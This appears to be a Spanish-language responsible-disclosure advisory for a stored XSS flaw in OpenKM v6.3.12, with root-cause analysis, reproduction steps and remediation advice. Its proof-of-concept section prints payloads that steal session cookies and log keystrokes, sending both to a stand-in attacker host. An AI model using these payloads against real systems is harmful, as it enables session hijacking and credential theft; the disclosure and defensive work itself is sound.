🛡️ CVE-2026-30503 — XSS Almacenado en OpenKM v6.3.12

📌 Tabla de Contenidos

• Resumen
• Detalles del CVE
• Producto Afectado
• Descripción de la Vulnerabilidad
• Análisis de Causa Raíz
• Impacto y Evaluación de Riesgos
• Prueba de Concepto (PoC)
• Remediación y Recomendaciones
• Cronología de Divulgación
• Referencias
• Sobre el Investigador

🔍 Resumen

Este repositorio documenta la divulgación responsable de CVE-2026-30503, una vulnerabilidad de Cross-Site Scripting (XSS) Almacenado identificada en OpenKM v6.3.12, un sistema de gestión documental de código abierto ampliamente utilizado en entornos empresariales.

La vulnerabilidad permite a un atacante autenticado inyectar JavaScript malicioso persistente en la aplicación, que se ejecuta en el contexto del navegador de cualquier usuario (incluidos administradores) que posteriormente visualice el contenido afectado.

⚠️ Severidad: Alta | Vector de Ataque: Red | Privilegios Requeridos: Bajos | Interacción del Usuario: Requerida

📋 Detalles del CVE

📦 Producto Afectado

OpenKM es un sistema de gestión documental (DMS) gratuito y de código abierto que proporciona una interfaz web para gestionar, auditar y distribuir documentos empresariales. Es utilizado por empresas, organismos gubernamentales e instituciones educativas a nivel global.

• Nombre del Producto: Sistema de Gestión Documental OpenKM
• Versión Afectada: v6.3.12
• Sitio Web del Proveedor: https://www.openkm.com
• Categoría: Sistema de Gestión Documental (DMS)
• Lenguaje/Stack: Java (JSP/Spring)

🧨 Descripción de la Vulnerabilidad

Se descubrieron múltiples vulnerabilidades de Cross-Site Scripting (XSS) Almacenado en OpenKM v6.3.12. Un atacante con acceso autenticado de bajos privilegios puede inyectar cargas útiles arbitrarias de JavaScript en uno o más campos de entrada. Estas cargas útiles se almacenan permanentemente en el backend de la aplicación y se ejecutan automáticamente cuando cualquier usuario —incluidos administradores— accede a la página o componente afectado.

A diferencia del XSS Reflejado, que requiere que la víctima haga clic en un enlace manipulado, las cargas útiles del XSS Almacenado están incrustadas en la propia aplicación, lo que las hace significativamente más peligrosas y persistentes.

Endpoint(s) Vulnerable(s)

• Campos de entrada controlados por el usuario en metadatos de documentos, notas o campos de nombre
• La aplicación no sanitiza ni codifica la entrada del usuario antes de renderizarla de vuelta al navegador

🔬 Análisis de Causa Raíz

La vulnerabilidad proviene de tres debilidades concurrentes en el pipeline de manejo de entrada de la aplicación:

Entrada del Usuario ──► [SIN Validación] ──► Almacenada en BD ──► [SIN Codificación de Salida] ──► Renderizada en Navegador ──► XSS Ejecutado

💥 Impacto y Evaluación de Riesgos

Una explotación exitosa de esta vulnerabilidad puede conllevar a:

🧪 Prueba de Concepto (PoC)

⚠️ Aviso: Este PoC se comparte estrictamente con fines educativos y de investigación en seguridad bajo los principios de divulgación responsable. No utilice esto contra sistemas que no posea o para los que no tenga permiso explícito por escrito para realizar pruebas.

Ejemplo de Carga Útil (Genérica)

// PoC básico — demuestra la ejecución de script
<script>alert('CVE-2026-30503 - XSS por Dharmendra Kumar')</script>

// Exfiltración de token de sesión
<script>fetch('https://attacker.example.com/steal?c='+document.cookie)</script>

// Inyección de keylogger
<script>document.onkeypress=function(e){fetch('https://attacker.example.com/log?k='+e.key)}</script>

Pasos para Reproducir

1. Inicie sesión en OpenKM v6.3.12 con una cuenta autenticada de bajos privilegios
2. Navegue al campo de entrada vulnerable (ej., metadatos de documento / notas / campo de título)
3. Inyecte una carga útil XSS como <script>alert(document.cookie)</script>
4. Guarde / envíe la entrada
5. Inicie sesión como otro usuario (o administrador) y navegue al recurso afectado
6. Observe la carga útil JavaScript ejecutándose en el contexto del navegador de la víctima

🛠️ Remediación y Recomendaciones

Para Desarrolladores / Proveedores

Para Administradores de Sistemas

• 🔒 Restringir el acceso a la instancia de OpenKM solo a redes de confianza
• 📊 Monitorear los registros de la aplicación en busca de actividad inusual o etiquetas script inesperadas en los campos de entrada
• 🔄 Mantener la aplicación actualizada a la última versión parcheada
• 🧩 Implementar un Firewall de Aplicaciones Web (WAF) con reglas de detección XSS como control compensatorio

📅 Cronología de Divulgación

Esta vulnerabilidad se divulgó siguiendo las mejores prácticas de divulgación responsable, coordinando con el proveedor y el Programa CVE antes de la publicación pública.

📚 Referencias

• 🔗 GitHub
• 🔗 Entrada CVE de MITRE — CVE-2026-30503
• 🔗 NVD — Base de Datos Nacional de Vulnerabilidades
• 🔗 Sitio Oficial de OpenKM
• 🔗 Hoja de Referencia de Prevención de XSS de OWASP
• 🔗 CWE-79: Cross-site Scripting
• 🔗 OWASP Top 10 — A03:2021 Inyección

👨‍💻 Sobre el Investigador

Dharmendra Kumar es un investigador de ciberseguridad independiente especializado en seguridad de aplicaciones web, pruebas de penetración y divulgación responsable de vulnerabilidades. Con un enfoque en identificar fallos de seguridad del mundo real en software ampliamente utilizado, su trabajo contribuye a mejorar la postura de seguridad de las aplicaciones utilizadas globalmente.

Áreas de Especialización:

• 🌐 Pruebas de Penetración de Aplicaciones Web
• 🐛 Caza de Bugs (Bug Bounty)
• 🔍 Investigación de Vulnerabilidades y Reporte de CVE
• 📋 Divulgación Responsable y Asesorías de Seguridad
• 🛡️ Vulnerabilidades del OWASP Top 10

Conectar:

⚖️ Aviso Legal

Este repositorio está destinado únicamente a fines educativos e informativos. Los detalles de la vulnerabilidad y las cargas útiles de prueba de concepto aquí compartidas se publican de acuerdo con los principios de divulgación responsable. El autor no aprueba, alienta ni se hace responsable de ningún uso no autorizado de esta información. Siempre obtenga permiso explícito por escrito antes de realizar pruebas de seguridad en cualquier sistema.

🙏 Agradecimientos

Agradecimientos especiales a:

• El equipo de desarrollo de OpenKM por su cooperación durante el proceso de divulgación responsable
• El Programa CVE / MITRE Corporation por asignar y coordinar el identificador CVE
• La comunidad más amplia de investigadores de seguridad por sus continuos esfuerzos para hacer que el software sea más seguro para todos